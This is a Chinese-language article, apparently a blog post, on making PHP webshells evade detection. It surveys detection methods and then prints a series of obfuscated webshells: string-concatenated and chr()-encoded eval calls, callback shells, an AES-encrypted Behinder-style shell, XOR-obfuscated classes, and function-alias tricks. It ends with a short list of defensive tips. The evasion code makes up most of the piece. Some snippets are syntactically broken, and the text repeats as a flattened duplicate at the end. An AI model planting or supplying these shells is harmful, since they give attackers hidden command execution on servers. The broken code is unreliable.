Webshell免杀的一些思考
字数 1061 2025-08-15 21:32:28

Webshell免杀技术深度解析与实战指南

一、Webshell检测机制分析

1.1 基于流量和字符特征的检测

  • 危险函数检测:系统会检测常见的危险函数调用

    • system():执行命令并输出结果
    • exec():执行命令但不输出结果
    • shell_exec():执行命令并返回字符串格式结果
    • passthru():执行命令并返回原始格式输出
    • proc_open():创建进程处理程序
    • 倒引号(`):执行shell命令
    • popen, curl_exec, parse_ini_file, show_source
  • 敏感字符串检测:检测返回包中的特殊字符如"root"、"passwd"等

1.2 基于文件特征的检测

  • 文件分片处理,计算每个片段的hash值
  • 与特征库进行相似度对比
  • 依赖样本捕捉能力和特征库完整性

1.3 基于AST语义分析

  • 将代码转换为AST语法树
  • 关注函数和参数的精确检测
  • 类似代码审计,维护敏感函数黑名单
  • 对PHP等动态语言检测效果有限

1.4 动/静态符号执行

  • 检测未过滤或过滤不完全的可控变量
  • 发现用户可控的代码逻辑

1.5 机器学习检测

  • 需要大量样本训练
  • 算法可解释性差,误报率高

1.6 RASP(运行时应用自我保护)

  • 将保护程序注入应用程序
  • 实时检测和阻断攻击
  • 拦截应用程序到系统的所有调用
  • 效果最好但成本高昂

二、Webshell免杀技术演进

2.1 初代Webshell(易被检测)

<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['xssle']);?>

2.2 一代Webshell(基础混淆)

  • 函数名拼接
<?php $a = 'ev'."al"; @$a($_POST['xssle']); ?>
  • ASCII码转换
<?php 
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
?>

2.3 二代Webshell(高级技术)

  • 回调型Webshell
<?php usort($_POST[1], $_POST[xssle]); ?>
  • 冰蝎Webshell(加密通信)
<?php
session_start();
if (isset($_GET['pass'])){
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}else{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>
  • 异或操作Webshell
<?php 
class TIPD{
    function AJZN(){
        $upf='Q'^"\x30";
        $imp='R'^"\x21";
        $rec='u'^"\x6";
        $yba='/'^"\x4a";
        $ebi=':'^"\x48";
        $pvu='D'^"\x30";
        $VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu;
        return $VDMX;
    }
    function __destruct(){
        $UNOF=$this->AJZN();
        @$UNOF($this->FJ);
    }
}
$tipd=new TIPD();
@$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

三、高级免杀技术实战

3.1 类静态函数+变量替换

<?php
class Test{
    public static function a(){
        $a = base64_decode/POST/*\*/['a']);
        return $a;
    }
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>

3.2 函数别名技术(PHP 5.6+)

<?php
use function \assert as test;
test($_POST[2333]);
?>

3.3 正则替换执行(PHP 7.3以下)

<?php
mbereg_replace(0', $_REQUEST[2333], 'mer');
?>

3.4 组合技术示例

<?php
use function \assert as test;
class Shell{
    public static function exec(){
        test($_POST['cmd']);
    }
}
$class = 'Shell';
$method = 'exec';
$class::$method();
?>

四、防御与检测建议

  1. 多层次防御:结合静态检测和RASP动态防护
  2. 敏感函数监控:重点监控evalassertsystem等函数
  3. 输入过滤:严格过滤所有用户输入
  4. 最小权限原则:Web服务器使用最低必要权限
  5. 定期更新:保持PHP版本和防护规则最新
  6. 日志审计:详细记录可疑行为日志

五、总结

Webshell免杀技术不断演进,从最初的简单混淆发展到现在的多维度隐藏技术。防御方需要理解攻击者的技术路线,构建多层次的防御体系。同时,开发人员应遵循安全编码规范,从根本上减少Webshell植入的可能性。

Webshell免杀技术深度解析与实战指南 一、Webshell检测机制分析 1.1 基于流量和字符特征的检测 危险函数检测 :系统会检测常见的危险函数调用 system() :执行命令并输出结果 exec() :执行命令但不输出结果 shell_exec() :执行命令并返回字符串格式结果 passthru() :执行命令并返回原始格式输出 proc_open() :创建进程处理程序 倒引号( ` ):执行shell命令 popen , curl_exec , parse_ini_file , show_source 等 敏感字符串检测 :检测返回包中的特殊字符如"root"、"passwd"等 1.2 基于文件特征的检测 文件分片处理,计算每个片段的hash值 与特征库进行相似度对比 依赖样本捕捉能力和特征库完整性 1.3 基于AST语义分析 将代码转换为AST语法树 关注函数和参数的精确检测 类似代码审计,维护敏感函数黑名单 对PHP等动态语言检测效果有限 1.4 动/静态符号执行 检测未过滤或过滤不完全的可控变量 发现用户可控的代码逻辑 1.5 机器学习检测 需要大量样本训练 算法可解释性差,误报率高 1.6 RASP(运行时应用自我保护) 将保护程序注入应用程序 实时检测和阻断攻击 拦截应用程序到系统的所有调用 效果最好但成本高昂 二、Webshell免杀技术演进 2.1 初代Webshell(易被检测) 2.2 一代Webshell(基础混淆) 函数名拼接 ASCII码转换 2.3 二代Webshell(高级技术) 回调型Webshell 冰蝎Webshell(加密通信) 异或操作Webshell 三、高级免杀技术实战 3.1 类静态函数+变量替换 3.2 函数别名技术(PHP 5.6+) 3.3 正则替换执行(PHP 7.3以下) 3.4 组合技术示例 四、防御与检测建议 多层次防御 :结合静态检测和RASP动态防护 敏感函数监控 :重点监控 eval 、 assert 、 system 等函数 输入过滤 :严格过滤所有用户输入 最小权限原则 :Web服务器使用最低必要权限 定期更新 :保持PHP版本和防护规则最新 日志审计 :详细记录可疑行为日志 五、总结 Webshell免杀技术不断演进,从最初的简单混淆发展到现在的多维度隐藏技术。防御方需要理解攻击者的技术路线,构建多层次的防御体系。同时,开发人员应遵循安全编码规范,从根本上减少Webshell植入的可能性。